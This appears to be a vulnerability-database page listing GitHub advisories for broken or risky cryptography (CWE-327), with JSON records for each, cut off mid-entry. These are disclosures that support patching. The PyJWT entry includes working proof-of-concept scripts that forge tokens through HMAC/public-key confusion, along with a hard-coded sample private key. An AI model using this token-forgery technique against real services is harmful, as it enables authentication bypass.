CWE-327
Allowed-with-ReviewUse of a Broken or Risky Cryptographic Algorithm
Abstraction: Class · Status: Draft
The product uses a broken or risky cryptographic algorithm or protocol.
960 vulnerabilities reference this CWE, most recent first.
GHSA-F65X-W4FQ-XJ28
Vulnerability from github – Published: 2026-05-29 15:30 – Updated: 2026-05-29 15:30Weak authentication between the Wireless Control Module (WCM) and the Engine Control Module (ECM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with read access to the in-vehicle network to recover the per-vehicle ECM immobilizer secret by passively observing a single seed/key exchange. The WCM derives its response using a reversible, non-cryptographic operation rather than a cryptographic challenge-response, so the persistent immobilizer secret can be reconstructed from one captured exchange. With this secret the attacker can authenticate to the ECM independently of the WCM and start the engine, defeating the immobilizer. Specific protocol details have been withheld pending vendor remediation.
{
"affected": [],
"aliases": [
"CVE-2026-49323"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T13:16:23Z",
"severity": "MODERATE"
},
"details": "Weak authentication between the Wireless Control Module (WCM) and the Engine Control Module (ECM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with read access to the in-vehicle network to recover the per-vehicle ECM immobilizer secret by passively observing a single seed/key exchange. The WCM derives its response using a reversible, non-cryptographic operation rather than a cryptographic challenge-response, so the persistent immobilizer secret can be reconstructed from one captured exchange. With this secret the attacker can authenticate to the ECM independently of the WCM and start the engine, defeating the immobilizer. Specific protocol details have been withheld pending vendor remediation.",
"id": "GHSA-f65x-w4fq-xj28",
"modified": "2026-05-29T15:30:33Z",
"published": "2026-05-29T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49323"
},
{
"type": "WEB",
"url": "https://www.asrg.io/security-advisories/cve-2026-49323-indian-scout-wcm-ecm-weak-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F7CX-MJQX-2QMW
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2026-06-03 15:30Rockwell Automation MicroLogix 1400 Controllers Series B v21.001 and prior, Series A, all versions, MicroLogix 1100 Controller, all versions, RSLogix 500 Software v12.001 and prior, The cryptographic function utilized to protect the password in MicroLogix is discoverable.
{
"affected": [],
"aliases": [
"CVE-2020-6984"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-16T16:15:00Z",
"severity": "MODERATE"
},
"details": "Rockwell Automation MicroLogix 1400 Controllers Series B v21.001 and prior, Series A, all versions, MicroLogix 1100 Controller, all versions, RSLogix 500 Software v12.001 and prior, The cryptographic function utilized to protect the password in MicroLogix is discoverable.",
"id": "GHSA-f7cx-mjqx-2qmw",
"modified": "2026-06-03T15:30:32Z",
"published": "2022-05-24T17:11:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6984"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsa-20-070-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F98G-J2JX-44X5
Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2022-05-24 17:10A hard-coded encryption key vulnerability exists in the authentication functionality of WAGO e!Cockpit version 1.5.1.1. An attacker with access to communications between e!Cockpit and CoDeSyS Gateway can trivially recover the password of any user attempting to log in, in plain text.
{
"affected": [],
"aliases": [
"CVE-2019-5106"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-11T22:27:00Z",
"severity": "LOW"
},
"details": "A hard-coded encryption key vulnerability exists in the authentication functionality of WAGO e!Cockpit version 1.5.1.1. An attacker with access to communications between e!Cockpit and CoDeSyS Gateway can trivially recover the password of any user attempting to log in, in plain text.",
"id": "GHSA-f98g-j2jx-44x5",
"modified": "2022-05-24T17:10:48Z",
"published": "2022-05-24T17:10:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5106"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0898"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F9QG-252F-G8CG
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-08-11 00:00The ElGamal implementation in Botan through 2.18.1, as used in Thunderbird and other products, allows plaintext recovery because, during interaction between two cryptographic libraries, a certain dangerous combination of the prime defined by the receiver's public key, the generator defined by the receiver's public key, and the sender's ephemeral exponents can lead to a cross-configuration attack against OpenPGP.
{
"affected": [],
"aliases": [
"CVE-2021-40529"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-06T19:15:00Z",
"severity": "MODERATE"
},
"details": "The ElGamal implementation in Botan through 2.18.1, as used in Thunderbird and other products, allows plaintext recovery because, during interaction between two cryptographic libraries, a certain dangerous combination of the prime defined by the receiver\u0027s public key, the generator defined by the receiver\u0027s public key, and the sender\u0027s ephemeral exponents can lead to a cross-configuration attack against OpenPGP.",
"id": "GHSA-f9qg-252f-g8cg",
"modified": "2022-08-11T00:00:27Z",
"published": "2022-05-24T19:13:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40529"
},
{
"type": "WEB",
"url": "https://github.com/randombit/botan/pull/2790"
},
{
"type": "WEB",
"url": "https://eprint.iacr.org/2021/923"
},
{
"type": "WEB",
"url": "https://ibm.github.io/system-security-research-updates/2021/07/20/insecurity-elgamal-pt1"
},
{
"type": "WEB",
"url": "https://ibm.github.io/system-security-research-updates/2021/09/06/insecurity-elgamal-pt2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/72NB4OLD3VHJC3YF3PEP2HKF6BYURPAO"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPHGYWNJQKWLTUWBNSFB4F66MQDIL3IB"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202208-14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FC7X-2CMC-8J2G
Vulnerability from github – Published: 2022-01-06 22:10 – Updated: 2023-06-13 20:41The v0.9.7 release of the sha2 crate introduced a new AVX2-accelerated backend which was automatically enabled for all x86/x86_64 CPUs where AVX2 support was autodetected at runtime.
This backend was buggy and would miscompute results for long messages (i.e. messages spanning multiple SHA blocks).
The crate has since been yanked, but any users who upgraded to v0.9.7 should immediately upgrade to v0.9.8 and recompute any hashes which were previously computed by v0.9.7.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "sha2"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.7"
},
{
"fixed": "0.9.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.9.7"
]
}
],
"aliases": [
"CVE-2021-45696"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-06T14:26:28Z",
"nvd_published_at": "2021-12-27T00:15:00Z",
"severity": "CRITICAL"
},
"details": "The v0.9.7 release of the sha2 crate introduced a new AVX2-accelerated backend which was automatically enabled for all x86/x86_64 CPUs where AVX2 support was autodetected at runtime.\n\nThis backend was buggy and would miscompute results for long messages (i.e. messages spanning multiple SHA blocks).\n\nThe crate has since been yanked, but any users who upgraded to v0.9.7 should immediately upgrade to v0.9.8 and recompute any hashes which were previously computed by v0.9.7.",
"id": "GHSA-fc7x-2cmc-8j2g",
"modified": "2023-06-13T20:41:36Z",
"published": "2022-01-06T22:10:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45696"
},
{
"type": "WEB",
"url": "https://github.com/RustCrypto/hashes/pull/314"
},
{
"type": "PACKAGE",
"url": "https://github.com/RustCrypto/hashes"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/sha2/RUSTSEC-2021-0100.md"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0100.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incorrect hash in sha2"
}
GHSA-FFQJ-6FQR-9H24
Vulnerability from github – Published: 2022-05-24 22:17 – Updated: 2024-10-15 16:18Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""
pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""
ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
else:
print("POC Failed")
The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.
Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in https://github.com/jpadilla/pyjwt * Email José Padilla: pyjwt at jpadilla dot com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29217"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T22:17:27Z",
"nvd_published_at": "2022-05-24T15:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n\u003e PyJWT supports multiple different JWT signing algorithms. With JWT, an \n\u003e attacker submitting the JWT token can choose the used signing algorithm.\n\u003e \n\u003e The PyJWT library requires that the application chooses what algorithms \n\u003e are supported. The application can specify \n\u003e \"jwt.algorithms.get_default_algorithms()\" to get support for all \n\u003e algorithms. They can also specify a single one of them (which is the \n\u003e usual use case if calling jwt.decode directly. However, if calling \n\u003e jwt.decode in a helper function, all algorithms might be enabled.)\n\u003e \n\u003e For example, if the user chooses \"none\" algorithm and the JWT checker \n\u003e supports that, there will be no signature checking. This is a common \n\u003e security issue with some JWT implementations.\n\u003e \n\u003e PyJWT combats this by requiring that the if the \"none\" algorithm is \n\u003e used, the key has to be empty. As the key is given by the application \n\u003e running the checker, attacker cannot force \"none\" cipher to be used.\n\u003e \n\u003e Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n\u003e not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n\u003e if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n\u003e attacker can just use the publicly known public key to sign the token \n\u003e and the checker would use the same key to verify.\n\u003e \n\u003e From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n\u003e With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n\u003e example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n \u00a0\u00a0\u00a0 print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 invalid_strings = [\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN CERTIFICATE-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"-----BEGIN RSA PUBLIC KEY-----\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 b\"ssh-rsa\",\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PUBLIC\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_public_key(key)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if \"-----BEGIN PRIVATE\" in str_key:\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_pem_private_key(key, password=None)\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if str_key[0:4] == \"ssh-\":\n#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout \u003e ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem \u003e ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n print(\"POC Successfull\")\nelse:\n print(\"POC Failed\")\n```\n\n\u003e The issue is not that big as \n\u003e algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n\u003e However, with quick googling, this seems to be used in some cases at \n\u003e least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email Jos\u00e9 Padilla: pyjwt at jpadilla dot com\n",
"id": "GHSA-ffqj-6fqr-9h24",
"modified": "2024-10-15T16:18:12Z",
"published": "2022-05-24T22:17:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29217"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Key confusion through non-blocklisted public key formats"
}
GHSA-FG5G-QJMW-2FV3
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02RSA BSAFE Micro Edition Suite, versions prior to 4.0.11 (in 4.0.x) and prior to 4.1.6.1 (in 4.1.x) contains a Covert Timing Channel vulnerability during RSA decryption, also known as a Bleichenbacher attack on RSA decryption. A remote attacker may be able to recover a RSA key.
{
"affected": [],
"aliases": [
"CVE-2018-11057"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-31T18:29:00Z",
"severity": "MODERATE"
},
"details": "RSA BSAFE Micro Edition Suite, versions prior to 4.0.11 (in 4.0.x) and prior to 4.1.6.1 (in 4.1.x) contains a Covert Timing Channel vulnerability during RSA decryption, also known as a Bleichenbacher attack on RSA decryption. A remote attacker may be able to recover a RSA key.",
"id": "GHSA-fg5g-qjmw-2fv3",
"modified": "2022-05-13T01:02:14Z",
"published": "2022-05-13T01:02:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11057"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Aug/46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FGRX-4637-FCF5
Vulnerability from github – Published: 2024-05-15 21:46 – Updated: 2024-05-15 21:46In fuel/core versions pior to 1.8.1, with the right knowledge, code, and GPU calculation power, Crypt encryption can be broken in minutes.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "fuel/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-15T21:46:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "In fuel/core versions pior to 1.8.1, with the right knowledge, code, and GPU calculation power, Crypt encryption can be broken in minutes.\n\n",
"id": "GHSA-fgrx-4637-fcf5",
"modified": "2024-05-15T21:46:56Z",
"published": "2024-05-15T21:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fuel/core/commit/59112c96d0a6f2b0ead6a57edd8ac465678bdcb0"
},
{
"type": "WEB",
"url": "https://fuelphp.com/security-advisories"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/fuel/core/2018-04-14-1.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/fuel/core"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "fuel/core Crypt encryption compromised."
}
GHSA-FH3F-Q9QW-93J9
Vulnerability from github – Published: 2026-02-19 19:41 – Updated: 2026-03-06 01:04Affected Packages / Versions
- npm package:
openclaw - Affected versions:
<= 2026.2.14 - Fixed version (pre-set):
2026.2.15
Description
The sandbox identifier cache key for Docker/browser sandbox configuration used SHA-1 to hash normalized configuration payloads.
SHA-1 is deprecated for cryptographic use and has known collision weaknesses. In this code path, deterministic IDs are used to decide whether an existing sandbox container can be reused safely. A collision in this hash could let one configuration be interpreted as another under the same sandbox cache identity, increasing the risk of cache poisoning and unsafe sandbox state reuse.
The implementation now uses SHA-256 for these deterministic hashes to restore collision resistance for this security-relevant identifier path.
Fix Commit(s)
559c8d993
Release Process Note
patched_versions is pre-set to 2026.2.15 for the next release. After that release is published, mark this advisory ready for publication.
Thanks @kexinoh ( of Tencent zhuque Lab, by https://github.com/Tencent/AI-Infra-Guard) for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.14"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28479"
],
"database_specific": {
"cwe_ids": [
"CWE-327",
"CWE-328"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-19T19:41:07Z",
"nvd_published_at": "2026-03-05T22:16:22Z",
"severity": "HIGH"
},
"details": "## Affected Packages / Versions\n- npm package: `openclaw`\n- Affected versions: `\u003c= 2026.2.14`\n- Fixed version (pre-set): `2026.2.15`\n\n## Description\nThe sandbox identifier cache key for Docker/browser sandbox configuration used SHA-1 to hash normalized configuration payloads.\n\nSHA-1 is deprecated for cryptographic use and has known collision weaknesses. In this code path, deterministic IDs are used to decide whether an existing sandbox container can be reused safely. A collision in this hash could let one configuration be interpreted as another under the same sandbox cache identity, increasing the risk of cache poisoning and unsafe sandbox state reuse.\n\nThe implementation now uses SHA-256 for these deterministic hashes to restore collision resistance for this security-relevant identifier path.\n\n## Fix Commit(s)\n- `559c8d993`\n\n## Release Process Note\n`patched_versions` is pre-set to `2026.2.15` for the next release. After that release is published, mark this advisory ready for publication.\n\nThanks @kexinoh ( of Tencent zhuque 